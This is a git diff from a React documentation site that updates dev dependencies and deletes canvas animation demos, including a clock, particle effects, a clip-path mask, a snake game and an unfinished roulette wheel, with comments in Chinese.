"husky": "^7.0.4",
|
||||
"lint-staged": "^10.0.7",
|
||||
"prettier": "^2.2.1",
|
||||
"yorkie": "^2.0.0"
|
||||
}
|
||||
"@commitlint/cli": "^17.1.2",
|
||||
"@commitlint/config-conventional": "^17.1.0",
|
||||
"dumi": "^2.2.13",
|
||||
"gh-pages": "^6.1.1",
|
||||
"husky": "^8.0.1",
|
||||
"lint-staged": "^13.0.3",
|
||||
"prettier": "^2.7.1"
|
||||
},
|
||||
"authors": [
|
||||
"71032866@qq.com"
|
||||
]
|
||||
}
|
||||
|
17683
pnpm-lock.yaml
@ -1,94 +0,0 @@
|
||||
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const clockRef = useRef()
|
||||
|
||||
function clock() {
|
||||
var theCanv = clockRef.current;
|
||||
var theCanvObject = theCanv.getContext('2d');
|
||||
var x = 200;
|
||||
var y = 200;
|
||||
|
||||
startTime();
|
||||
|
||||
function startTime() {
|
||||
|
||||
//分秒刻度和表盘
|
||||
theCanvObject.lineWidth = 1;
|
||||
for (var i = 0; i < 60; i++) {
|
||||
drawArc(150, i*6, (i+1)*6);
|
||||
}
|
||||
drawArc(145, 0, 360, true);
|
||||
|
||||
//时刻度
|
||||
theCanvObject.lineWidth = 2;
|
||||
for (var i = 0; i < 12; i++) {
|
||||
drawArc(150, i*30, (i+1)*30);
|
||||
}
|
||||
drawArc(140, 0, 360, true);
|
||||
|
||||
//针
|
||||
drawHand(getTime().hour,5,60,'#ECFC00');
|
||||
drawHand(getTime().min,4,100,'#00BB3F');
|
||||
drawHand(getTime().sec,3,130,'#D60062');
|
||||
|
||||
setInterval(function () {
|
||||
drawArc(135,0,360,true);
|
||||
drawHand(getTime().hour,5,60,'#ECFC00');
|
||||
drawHand(getTime().min,4,100,'#00BB3F');
|
||||
drawHand(getTime().sec,3,130,'#D60062');
|
||||
},1000);
|
||||
}
|
||||
|
||||
function drawArc(iRadius, iBeginAngle, iEndAngle, ifClear) {
|
||||
var beginRadian = iBeginAngle*Math.PI/180;
|
||||
var endRadian = iEndAngle*Math.PI/180;
|
||||
|
||||
theCanvObject.beginPath(); //创建一个路径
|
||||
theCanvObject.moveTo(x, y); //将路径移到x,y
|
||||
theCanvObject.arc(x, y, iRadius, beginRadian, endRadian, false);
|
||||
//画弧
|
||||
!ifClear && theCanvObject.stroke();
|
||||
|
||||
if (ifClear) {
|
||||
theCanvObject.fillStyle = 'white';
|
||||
theCanvObject.fill();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
function drawHand(iAngle, iWidth, iLength, iColor) {
|
||||
|
||||
theCanvObject.save(); //保存的是canvas的属性,不是截图
|
||||
theCanvObject.lineWidth = iWidth;
|
||||
theCanvObject.strokeStyle = iColor;
|
||||
drawArc(iLength, iAngle, iAngle);
|
||||
theCanvObject.restore(); //弹出栈中的状态
|
||||
|
||||
}
|
||||
|
||||
//根据当前时间返回各个针要指的度数
|
||||
function getTime() {
|
||||
|
||||
var jTime = {};
|
||||
var iNow = new Date();
|
||||
jTime.sec = -90 + iNow.getSeconds()*6;
|
||||
jTime.min = -90 + iNow.getMinutes()*6 + iNow.getSeconds()/20;
|
||||
jTime.hour = -90 + iNow.getHours()*30 + iNow.getMinutes()/2;
|
||||
|
||||
return jTime;
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
clock()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={clockRef} width="600" height="600" />
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,110 +0,0 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
function init() {
|
||||
var c = canvasRef.current,
|
||||
$ = c.getContext('2d'),
|
||||
w = c.width = window.innerWidth / 2,
|
||||
h = c.height = window.innerHeight / 2,
|
||||
particles = []
|
||||
|
||||
/**
|
||||
* 随机获取颜色
|
||||
*
|
||||
* @returns rgb(x,x,x)
|
||||
*/
|
||||
function randomColor() {
|
||||
var r = 100 + Math.floor(Math.random() * 255),
|
||||
g = Math.floor(Math.random() * 150),
|
||||
b = Math.floor(Math.random() * 15)
|
||||
return 'rgb(' + r + ',' + g + ',' + b + ')'
|
||||
}
|
||||
|
||||
function particle() {
|
||||
this.location = {
|
||||
x: w / 2,
|
||||
y: h / 2
|
||||
}
|
||||
this.speed = {
|
||||
x: -1.5 + Math.random() * 3,
|
||||
y: 1 + Math.random() * 5.5
|
||||
}
|
||||
this.life = 50
|
||||
this.radius = 1 + Math.floor(Math.random() * 25)
|
||||
this.color = randomColor()
|
||||
this.opacity = 1
|
||||
this.dead = false
|
||||
this.draw = function () {
|
||||
$.globalCompositeOperation = 'lighter'
|
||||
$.fillStyle = this.color
|
||||
$.beginPath()
|
||||
$.arc(this.location.x, this.location.y, this.radius, 0, Math.PI * 2)
|
||||
$.globalAlpha = this.opacity
|
||||
$.fill()
|
||||
$.closePath()
|
||||
}
|
||||
this.update = function () {
|
||||
if (this.location.x < 0 || this.life == 0 || this.opacity === 0 || this.radius < 1) {
|
||||
this.dead = true
|
||||
}
|
||||
if (!this.dead) {
|
||||
this.location.x += this.speed.x
|
||||
this.location.y -= this.speed.y
|
||||
this.life--
|
||||
this.opacity -= 0.05
|
||||
this.radius--
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 将火焰置于背景之后
|
||||
function stage() {
|
||||
$.globalCompositeOperation = 'source-over'
|
||||
$.fillStyle = 'rgba(0, 0, 0, 1)'
|
||||
$.fillRect(0, 0, w, h)
|
||||
}
|
||||
|
||||
// 重置画布大小
|
||||
function reset() {
|
||||
w = c.width = window.innerWidth / 2
|
||||
h = c.height = window.innerHeight / 2
|
||||
}
|
||||
|
||||
function loop() {
|
||||
stage()
|
||||
var L = particles.length
|
||||
if (L < 100) {
|
||||
particles.push(new particle())
|
||||
}
|
||||
for (var i = 0; i < L; i++) {
|
||||
var p = particles[i]
|
||||
p.draw()
|
||||
p.update()
|
||||
if (p.dead) {
|
||||
particles[i] = new particle()
|
||||
}
|
||||
}
|
||||
requestAnimationFrame(loop)
|
||||
}
|
||||
|
||||
function _init() {
|
||||
reset()
|
||||
loop()
|
||||
}
|
||||
|
||||
window.addEventListener('resize', reset)
|
||||
_init()
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
init()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
Before Width: | Height: | Size: 166 KiB |
Before Width: | Height: | Size: 150 KiB |
@ -1,118 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
const img1 = require('./img/clipImg1.jpg')
|
||||
const img2 = require('./img/clipImg2.jpg')
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const clipImgs1Ref = useRef()
|
||||
const clipImgs2Ref = useRef()
|
||||
|
||||
|
||||
function clipPathMaskRender() {
|
||||
const NUM_CIRCLES = 60
|
||||
const MIN_SIZE = 50
|
||||
const MAX_SIZE = 100
|
||||
|
||||
function getRndInt(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min
|
||||
}
|
||||
|
||||
var c = canvasRef && canvasRef.current
|
||||
var ctx = c.getContext('2d')
|
||||
var clipImg1 = clipImgs1Ref && clipImgs1Ref.current
|
||||
var clipImg2 = clipImgs2Ref && clipImgs2Ref.current
|
||||
var t
|
||||
|
||||
class Circle {
|
||||
constructor() {
|
||||
this.x = 0
|
||||
this.y = 0
|
||||
this.size = 0
|
||||
this._needsRandomized = false
|
||||
}
|
||||
|
||||
randomize () {
|
||||
this.x = getRndInt(50, c.width - 50)
|
||||
this.y = getRndInt(50, c.height - 50)
|
||||
this.maxSize = getRndInt(MIN_SIZE, MAX_SIZE)
|
||||
}
|
||||
|
||||
// 更新
|
||||
update (t, ofs) {
|
||||
// abs 绝对值
|
||||
this.size = Math.abs(Math.round(Math.sin(t + ofs) * this.maxSize))
|
||||
|
||||
if (this.size < 2) {
|
||||
if (this._needsRandomized) {
|
||||
this.randomize()
|
||||
this._needsRandomized = false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 画
|
||||
draw () {
|
||||
ctx.moveTo(this.x, this.y)
|
||||
ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI)
|
||||
}
|
||||
}
|
||||
|
||||
var circles =[]
|
||||
for (let i = 0; i < NUM_CIRCLES; i++) {
|
||||
var circle = new Circle()
|
||||
circle.randomize()
|
||||
circles.push(circle)
|
||||
}
|
||||
|
||||
function update() {
|
||||
t = 0.001 * Date.now()
|
||||
circles.forEach((circle, idx) => {
|
||||
circle.update(t, idx)
|
||||
})
|
||||
}
|
||||
|
||||
async function render() {
|
||||
await ctx.drawImage(clipImg1, 0, 0)
|
||||
await ctx.save()
|
||||
await ctx.beginPath()
|
||||
|
||||
circles.forEach(function(circle) {
|
||||
circle.draw()
|
||||
})
|
||||
|
||||
ctx.closePath()
|
||||
ctx.clip()
|
||||
|
||||
ctx.drawImage(clipImg2, 0, 0)
|
||||
ctx.restore()
|
||||
}
|
||||
|
||||
function loop() {
|
||||
requestAnimationFrame(loop)
|
||||
update()
|
||||
render()
|
||||
}
|
||||
|
||||
loop()
|
||||
}
|
||||
|
||||
|
||||
useEffect(() => {
|
||||
clipPathMaskRender()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="clipPathMask demo">
|
||||
<div className="wrap">
|
||||
<h1 className="wrap_tit">Nice Note</h1>
|
||||
<canvas ref={canvasRef} className="wrap_canvas" width="500px" height="500px"></canvas>
|
||||
</div>
|
||||
<div id="clipImgs">
|
||||
<img ref={clipImgs1Ref} id="clipImgs_1" crossOrigin="anonymous" src={img1} />
|
||||
<img ref={clipImgs2Ref} id="clipImgs_2" crossOrigin="anonymous" src={img2} />
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,18 +0,0 @@
|
||||
.clipPathMask {
|
||||
text-align: center;
|
||||
height: 80vh;
|
||||
color: #fff;
|
||||
background: teal linear-gradient(transparent, #ff0099);
|
||||
.wrap {
|
||||
&_tit {
|
||||
padding: 10px 0;
|
||||
font-size: 30px;
|
||||
}
|
||||
&_canvas {
|
||||
border: 1px solid yellow;
|
||||
}
|
||||
}
|
||||
#clipImgs {
|
||||
display: none;
|
||||
}
|
||||
}
|
@ -1,98 +0,0 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
function init() {
|
||||
const theCanvas = canvasRef.current,
|
||||
ctx = theCanvas.getContext('2d'),
|
||||
current_point = {
|
||||
x: null, //当前鼠标x
|
||||
y: null, //当前鼠标y
|
||||
max: 20000,
|
||||
};
|
||||
|
||||
let canvas_width = theCanvas.width,
|
||||
canvas_height = theCanvas.height,
|
||||
random_points = [],
|
||||
all_points = [];
|
||||
|
||||
// theCanvas.style = "position: absolute; top: 0px; left: 0px;";
|
||||
|
||||
|
||||
function draw() {
|
||||
//清屏
|
||||
ctx.clearRect(0, 0, canvas_width, canvas_height);
|
||||
let i,pi,x_dist,y_dist,dist,w;
|
||||
|
||||
//遍历点集合绘制线条,类似于握手问题,两个点只绘制一条线
|
||||
random_points.forEach((p, index) => {
|
||||
p.x += p.xa, //按指定速度移动
|
||||
p.y += p.ya,
|
||||
//小球碰撞则速度取相反数
|
||||
p.xa *= p.x > canvas_width || p.x < 0 ? -1 : 1,
|
||||
p.ya *= p.y > canvas_height || p.y < 0 ? -1 : 1,
|
||||
ctx.fillRect(p.x - 0.5, p.y - 0.5, 1, 1); //绘制点
|
||||
|
||||
for(i = index + 1; i < all_points.length; i++ ) {
|
||||
pi = all_points[i];
|
||||
if(pi.x !== null && pi.y !== null) {
|
||||
x_dist = p.x - pi.x;
|
||||
y_dist = p.y - pi.y;
|
||||
dist = x_dist * x_dist + y_dist * y_dist;
|
||||
//当两点距离小于极限距离时会产生连线,当第二个点是鼠标所产生点时,第一个点在范围内会产生向鼠标点的速度,产生吸附效果
|
||||
dist < pi.max && (pi === current_point && dist >= pi.max / 2 && (p.x -= 0.03 * x_dist, p.y -= 0.03 * y_dist));
|
||||
//根据距离计算连线的透明度,使过度效果流畅
|
||||
w = (pi.max - dist) / pi.max;
|
||||
ctx.beginPath();
|
||||
ctx.lineWidth = w / 2;
|
||||
ctx.strokeStyle = `rgba(110,110,110,${w + 0.2})`;
|
||||
ctx.moveTo(p.x, p.y);
|
||||
ctx.lineTo(pi.x, pi.y);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
}),requestAnimationFrame(draw);
|
||||
}
|
||||
|
||||
|
||||
//绑定事件,判断是否添加鼠标这个点
|
||||
window.onmousemove = e => {
|
||||
e = e || window.event;
|
||||
current_point.x = e.clientX;
|
||||
current_point.y = e.clientY;
|
||||
};
|
||||
window.onmouseout = () => {
|
||||
current_point.x = null;
|
||||
current_point.y = null;
|
||||
};
|
||||
|
||||
|
||||
//随机生成100个点
|
||||
for(let i = 0; i < 100; i++ ) {
|
||||
|
||||
let x = Math.random() * canvas_width, //初始坐标
|
||||
y = Math.random() * canvas_height,
|
||||
xa = 2 * Math.random() - 1, //x速度
|
||||
ya = 2 * Math.random() - 1, //y速度
|
||||
max = 6000; //会产生连线的距离的平方
|
||||
|
||||
random_points[i] = {x, y, xa, ya, max};
|
||||
}
|
||||
//将鼠标的点添加至点集合中
|
||||
all_points = [...random_points,current_point];
|
||||
|
||||
//只是背景特效-所以延迟执行
|
||||
setTimeout(draw, 100);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
init()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div style={{ position: 'relative' }}>
|
||||
<canvas ref={canvasRef} width="500px" height="300px"></canvas>
|
||||
</div>
|
||||
)
|
||||
}
|
Before Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 10 KiB |
@ -1,214 +0,0 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
import img1 from './imgs/1.jpg'
|
||||
import img2 from './imgs/2.jpg'
|
||||
import img3 from './imgs/3.jpg'
|
||||
|
||||
const imgs = [img1, img2, img3]
|
||||
class Particale {
|
||||
constructor(opt) {
|
||||
this.warp = opt.warp; //画布
|
||||
this.ctx = opt.warp && opt.warp.getContext('2d');
|
||||
this.imgsUrl = opt.imgsUrl; //图片地址数组
|
||||
this.imgsObj = []; //图片对象数组
|
||||
this.radius = opt.radius || 10; //粒子半径
|
||||
this.index = 0; //当前图片下标
|
||||
this.initz = 300;
|
||||
this.dots = [];
|
||||
this.init();
|
||||
}
|
||||
|
||||
init() {
|
||||
|
||||
//限制小球半径
|
||||
if (this.warp.width > 500 || this.warp.height > 300)
|
||||
this.radius >= 4 ? this.radius = this.radius : this.radius = 4;
|
||||
else
|
||||
this.radius >= 2 ? this.radius = this.radius : this.radius = 2;
|
||||
|
||||
let promiseArr = this.imgsUrl.map(imgUrl => {
|
||||
return new Promise((resolve, reject) => {
|
||||
var imgObj = new Image();
|
||||
imgObj.onload = () => {
|
||||
this.imgsObj.push(imgObj);
|
||||
resolve();
|
||||
};
|
||||
imgObj.src = imgUrl;
|
||||
});
|
||||
});
|
||||
//图片全部加载完毕开始绘制
|
||||
Promise.all(promiseArr).then(() => {
|
||||
this.picLoop();
|
||||
});
|
||||
}
|
||||
|
||||
picLoop() {
|
||||
this.dots = [];
|
||||
this.drawPic(); //绘制当前图片
|
||||
this.toParticle(); //得到像素点
|
||||
this.combineAnimate(); //合成图像
|
||||
this.index === this.imgsUrl.length-1 ? this.index = 0 : this.index++; //下标移动到下一张图片
|
||||
}
|
||||
drawPic() {
|
||||
//清除画布
|
||||
this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
|
||||
let imgObj = this.imgsObj[this.index];
|
||||
|
||||
//限制图片大小
|
||||
if(imgObj.width > imgObj.height) {
|
||||
let ImgScale = imgObj.height / imgObj.width;
|
||||
imgObj.width = this.warp.width * .5;
|
||||
imgObj.height = imgObj.width * ImgScale;
|
||||
} else {
|
||||
let ImgScale = imgObj.width / imgObj.height;
|
||||
imgObj.height = this.warp.height * .7;
|
||||
imgObj.width = imgObj.height * ImgScale;
|
||||
}
|
||||
|
||||
|
||||
//绘制图片到canvas
|
||||
this.ctx.drawImage(imgObj, this.warp.width / 2 - imgObj.width / 2, this.warp.height / 2 - imgObj.height / 2, imgObj.width, imgObj.height);
|
||||
|
||||
}
|
||||
toParticle() {
|
||||
//得到像素
|
||||
let imageData = this.ctx.getImageData(0, 0, this.warp.width, this.warp.height);
|
||||
let data = imageData.data;
|
||||
|
||||
for(let x = 0; x < imageData.width; x += this.radius * 2) {
|
||||
for(let y = 0; y < imageData.height; y += this.radius * 2) {
|
||||
let i = (x + y * this.warp.width) * 4;
|
||||
if(data[i+3] !== 0 && data[i] !== 255 && data[i+1] !== 255 && data[i+2] !== 255) {
|
||||
let dot = {
|
||||
x: x, //图片x轴坐标
|
||||
y: y, // y轴坐标
|
||||
z: 0, // z轴坐标
|
||||
r: data[i], // rgba
|
||||
g: data[i+1], // rgba
|
||||
b: data[i+2], // rgba
|
||||
a: 1, // rgba
|
||||
ix: Math.random() * this.warp.width, //初始化x轴坐标
|
||||
iy: Math.random() * this.warp.height, // y轴坐标
|
||||
iz: Math.random() * this.initz * 2 - this.initz, // z轴坐标
|
||||
ir: 255, // rgba
|
||||
ig: 255, // rgba
|
||||
ib: 255, // rgba
|
||||
ia: 0, // rgba
|
||||
tx: Math.random() * this.warp.width, //目标x轴坐标
|
||||
ty: Math.random() * this.warp.height, // y轴坐标
|
||||
tz: Math.random() * this.initz * 2 - this.initz, // z轴坐标
|
||||
tr: 255, // rgba
|
||||
tg: 255, // rgba
|
||||
tb: 255, // rgba
|
||||
ta: 0, // rgba
|
||||
};
|
||||
this.dots.push(dot);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
combineAnimate() {
|
||||
let combined = false;
|
||||
this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
|
||||
this.dots.map(dot => {
|
||||
if (Math.abs(dot.ix - dot.x) < 0.1 && Math.abs(dot.iy - dot.y) < 0.1 && Math.abs(dot.iz - dot.z) < 0.1) {
|
||||
dot.ix = dot.x;
|
||||
dot.iy = dot.y;
|
||||
dot.iz = dot.z;
|
||||
dot.ir = dot.r;
|
||||
dot.ig = dot.g;
|
||||
dot.ib = dot.b;
|
||||
dot.ia = dot.a;
|
||||
combined = true;
|
||||
} else {
|
||||
dot.ix += (dot.x - dot.ix) * 0.07;
|
||||
dot.iy += (dot.y - dot.iy) * 0.07;
|
||||
dot.iz += (dot.z - dot.iz) * 0.07;
|
||||
dot.ir += (dot.r - dot.ir) * 0.3;
|
||||
dot.ig += (dot.g - dot.ig) * 0.3;
|
||||
dot.ib += (dot.b - dot.ib) * 0.3;
|
||||
dot.ia += (dot.a - dot.ia) * 0.1;
|
||||
combined = false;
|
||||
}
|
||||
|
||||
return this.drowDot(dot);
|
||||
});
|
||||
|
||||
|
||||
if(!combined) {
|
||||
requestAnimationFrame(() => {
|
||||
return this.combineAnimate();
|
||||
});
|
||||
} else {
|
||||
setTimeout(() => {
|
||||
return this.separateAnimate();
|
||||
}, 1500);
|
||||
}
|
||||
}
|
||||
separateAnimate() {
|
||||
let separated = false;
|
||||
this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
|
||||
this.dots.map(dot => {
|
||||
if (Math.abs(dot.ix - dot.tx) < 0.1 && Math.abs(dot.iy - dot.ty) < 0.1 && Math.abs(dot.iz - dot.tz) < 0.1) {
|
||||
dot.ix = dot.tx;
|
||||
dot.iy = dot.ty;
|
||||
dot.iz = dot.tz;
|
||||
dot.ir = dot.tr;
|
||||
dot.ig = dot.tg;
|
||||
dot.ib = dot.tb;
|
||||
dot.ia = dot.ta;
|
||||
separated = true;
|
||||
} else {
|
||||
dot.ix += (dot.tx - dot.ix) * 0.07;
|
||||
dot.iy += (dot.ty - dot.iy) * 0.07;
|
||||
dot.iz += (dot.tz - dot.iz) * 0.07;
|
||||
dot.ir += (dot.tr - dot.ir) * 0.02;
|
||||
dot.ig += (dot.tg - dot.ig) * 0.02;
|
||||
dot.ib += (dot.tb - dot.ib) * 0.02;
|
||||
dot.ia += (dot.ta - dot.ia) * 0.03;
|
||||
separated = false;
|
||||
}
|
||||
|
||||
return this.drowDot(dot);
|
||||
});
|
||||
|
||||
|
||||
if(!separated) {
|
||||
requestAnimationFrame(() => {
|
||||
return this.separateAnimate();
|
||||
});
|
||||
} else {
|
||||
setTimeout(() => {
|
||||
return this.picLoop(); //间接递归,使用尾递归优化
|
||||
}, 100);
|
||||
}
|
||||
}
|
||||
drowDot(dot) {
|
||||
let scale = this.initz / (this.initz + dot.iz);
|
||||
this.ctx.save();
|
||||
this.ctx.beginPath();
|
||||
this.ctx.fillStyle = `rgba(${Math.floor(dot.ir)}, ${Math.floor(dot.ig)}, ${Math.floor(dot.ib)}, ${dot.ia})`;
|
||||
this.ctx.arc(this.warp.width / 2 + (dot.ix - this.warp.width / 2) * scale, this.warp.height / 2 + (dot.iy - this.warp.height / 2) * scale, this.radius * scale, 0, Math.PI * 2);
|
||||
this.ctx.fill();
|
||||
this.ctx.closePath();
|
||||
this.ctx.restore();
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
useEffect(() => {
|
||||
if (canvasRef && canvasRef.current) {
|
||||
new Particale({
|
||||
warp: canvasRef && canvasRef.current,
|
||||
imgsUrl: imgs,
|
||||
radius: 1,
|
||||
});
|
||||
}
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<canvas ref={canvasRef} width="500px" height="500px"></canvas>
|
||||
)
|
||||
}
|
@ -1,50 +0,0 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
async function init() {
|
||||
var snake = [41, 40], //snake队列表示蛇身,初始节点存在但不显示
|
||||
direction = 1, //1表示向右,-1表示向左,20表示向下,-20表示向上
|
||||
food = 43, //食物的位置
|
||||
n, //与下次移动的位置有关
|
||||
box = canvasRef.current && canvasRef.current.getContext('2d');
|
||||
//从0到399表示box里[0~19]*[0~19]的所有节点,每20px一个节点
|
||||
|
||||
function draw(seat, color) {
|
||||
box.fillStyle = color;
|
||||
box.fillRect(seat % 20 *20 + 1, ~~(seat / 20) * 20 + 1, 18, 18);
|
||||
//用color填充一个矩形,以前两个参数为x,y坐标,后两个参数为宽和高。
|
||||
}
|
||||
|
||||
document.onkeydown = function(evt) { //当键盘上下左右键摁下的时候改变direction
|
||||
direction = snake[1] - snake[0] == (n = [-1, -20, 1, 20][(evt || event).keyCode - 37] || direction) ? direction : n;
|
||||
console.log([-1, -20, 1, 20][(evt || event).keyCode - 37]);
|
||||
};
|
||||
|
||||
function _move() {
|
||||
snake.unshift(n = snake[0] + direction); //此时的n为下次蛇头出现的位置,n进入队列
|
||||
if(snake.indexOf(n, 1) > 0 || n < 0 || n > 399 || direction == 1 && n % 20 == 0 || direction == -1 && n % 20 == 19) {
|
||||
//if语句判断贪吃蛇是否撞到自己或者墙壁,碰到时返回,结束程序
|
||||
return alert("GAME OVER!");
|
||||
}
|
||||
draw(n, "lime"); //画出蛇头下次出现的位置
|
||||
if(n == food) { //如果吃到食物时,产生一个蛇身以外的随机的点,不会去掉蛇尾
|
||||
while (snake.indexOf(food = ~~(Math.random() * 400)) > 0);
|
||||
draw(food, "yellow");
|
||||
} else { //没有吃到食物时正常移动,蛇尾出队列
|
||||
draw(snake.pop(),"black");
|
||||
}
|
||||
setTimeout(() => _move(), 150); //每隔0.15秒执行函数一次,可以调节蛇的速度
|
||||
}
|
||||
|
||||
box && await _move()
|
||||
}
|
||||
|
||||
return (
|
||||
<div style={{ background: '#000' }}>
|
||||
<button type="button" onClick={() => init()} >开始</button>
|
||||
<canvas ref={canvasRef} width="400" height="400" />
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,562 +0,0 @@
|
||||
---
|
||||
nav:
|
||||
title: FC
|
||||
path: /funny
|
||||
group:
|
||||
title: canvas
|
||||
order: 4
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
# canvas
|
||||
|
||||
### 粒子背景
|
||||
|
||||
<code src="./demos/ParticleBG/index.jsx" />
|
||||
|
||||
### 粒子图片
|
||||
|
||||
<code src="./demos/ParticleIMG/index.jsx" />
|
||||
|
||||
### 贪吃蛇
|
||||
|
||||
<code src="./demos/Snake/index.jsx" />
|
||||
|
||||
### 液体海报
|
||||
|
||||
<code src="./demos/LiquidPost/index.jsx" />
|
||||
|
||||
### 大转盘(doing)
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
class Global {
|
||||
constructor () {};
|
||||
|
||||
/**
|
||||
* 判断是否为 PC 端,若是则返回 true,否则返回 flase
|
||||
*/
|
||||
IsPC() {
|
||||
let userAgentInfo = navigator.userAgent,
|
||||
flag = true,
|
||||
Agents = ["Android", "iPhone","SymbianOS", "Windows Phone","iPad", "iPod"];
|
||||
|
||||
for (let v = 0; v < Agents.length; v++) {
|
||||
if (userAgentInfo.indexOf(Agents[v]) > 0) {
|
||||
flag = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return flag;
|
||||
};
|
||||
|
||||
/**
|
||||
* 缓动函数,由快到慢
|
||||
* @param {Num} t 当前时间
|
||||
* @param {Num} b 初始值
|
||||
* @param {Num} c 变化值
|
||||
* @param {Num} d 持续时间
|
||||
*/
|
||||
easeOut(t, b, c, d) {
|
||||
if ((t /= d / 2) < 1) return c / 2 * t * t + b;
|
||||
return -c / 2 * ((--t) * (t - 2) - 1) + b;
|
||||
};
|
||||
|
||||
windowToCanvas(canvas, e) {
|
||||
let bbox = canvas.getBoundingClientRect(),
|
||||
x = this.IsPC() ? e.clientX || event.clientX : e.changedTouches[0].clientX,
|
||||
y = this.IsPC() ? e.clientY || event.clientY : e.changedTouches[0].clientY;
|
||||
|
||||
return {
|
||||
x: x - bbox.left,
|
||||
y: y - bbox.top
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* 绘制自动换行的文本
|
||||
* @param {Obj} context
|
||||
* @param {Str} t 文本内容
|
||||
* @param {Num} x 坐标
|
||||
* @param {Num} y 坐标
|
||||
* @param {Num} w 文本限制宽度
|
||||
* @param {Num} lineHeight 行高
|
||||
*/
|
||||
drawText(context, t, x, y, w, lineHeight = 20){
|
||||
let chr = t.split(''),
|
||||
temp = '',
|
||||
row = [];
|
||||
|
||||
for (let a = 0; a < chr.length; a++){
|
||||
if ( context.measureText(temp).width < w ) {
|
||||
;
|
||||
}
|
||||
else{
|
||||
row.push(temp);
|
||||
temp = '';
|
||||
}
|
||||
temp += chr[a];
|
||||
};
|
||||
|
||||
row.push(temp);
|
||||
|
||||
for(let b = 0; b < row.length; b++){
|
||||
context.fillText(row[b], x, y + (b + 1) * lineHeight);
|
||||
};
|
||||
};
|
||||
|
||||
/**
|
||||
* 定义圆角矩形的方法
|
||||
* @param {Obj} context
|
||||
* @param {Num} cornerX
|
||||
* @param {Num} cornerY
|
||||
* @param {Num} width
|
||||
* @param {Num} height
|
||||
* @param {Num} cornerRadius
|
||||
*/
|
||||
roundedRect(context, cornerX, cornerY, width, height, cornerRadius) {
|
||||
if (width > 0) context.moveTo(cornerX + cornerRadius, cornerY);
|
||||
else context.moveTo(cornerX - cornerRadius, cornerY);
|
||||
|
||||
context.arcTo(cornerX + width, cornerY,
|
||||
cornerX + width, cornerY + height,
|
||||
cornerRadius);
|
||||
|
||||
context.arcTo(cornerX + width, cornerY + height,
|
||||
cornerX, cornerY + height,
|
||||
cornerRadius);
|
||||
|
||||
context.arcTo(cornerX, cornerY + height,
|
||||
cornerX, cornerY,
|
||||
cornerRadius);
|
||||
|
||||
if (width > 0) {
|
||||
context.arcTo(cornerX, cornerY,
|
||||
cornerX + cornerRadius, cornerY,
|
||||
cornerRadius);
|
||||
}
|
||||
else {
|
||||
context.arcTo(cornerX, cornerY,
|
||||
cornerX - cornerRadius, cornerY,
|
||||
cornerRadius);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
class RouletteWheel extends Global{
|
||||
constructor(params) {
|
||||
super()
|
||||
this.width = params.width
|
||||
this.height = params.height
|
||||
|
||||
this.centerX = params.centerX
|
||||
this.centerY = params.centerY
|
||||
this.outsideRadius = params.outsideRadius
|
||||
|
||||
this.evenColor = params.evenColor
|
||||
this.oddColor = params.oddColor
|
||||
this.loseColor = params.odd
|
||||
this.textColor = params.textColor
|
||||
|
||||
this.awards = params.awards || []
|
||||
|
||||
this.startRadian = params.startRadian || 0
|
||||
this.duration = params.duration || 4000
|
||||
this.velocity = params.velocity || 10
|
||||
|
||||
// 回调函数
|
||||
this.finish = params.finish
|
||||
}
|
||||
|
||||
initCanvas() {
|
||||
let canvas = this.canvas
|
||||
canvas.width = this.width;
|
||||
canvas.height = this.height;
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
for (let i = 0; i < this.awards.length; i++) {
|
||||
// const award = awards[i]
|
||||
let _startR = this.startRadian + this.awardRadian * i
|
||||
let _endR = _startR + this.awardRadian
|
||||
|
||||
if (i % 2 === 0) ctx.fillStyle = "#FF6766"
|
||||
else ctx.fillStyle = "#FD5757"
|
||||
|
||||
ctx.beginPath(); //开始绘制路径
|
||||
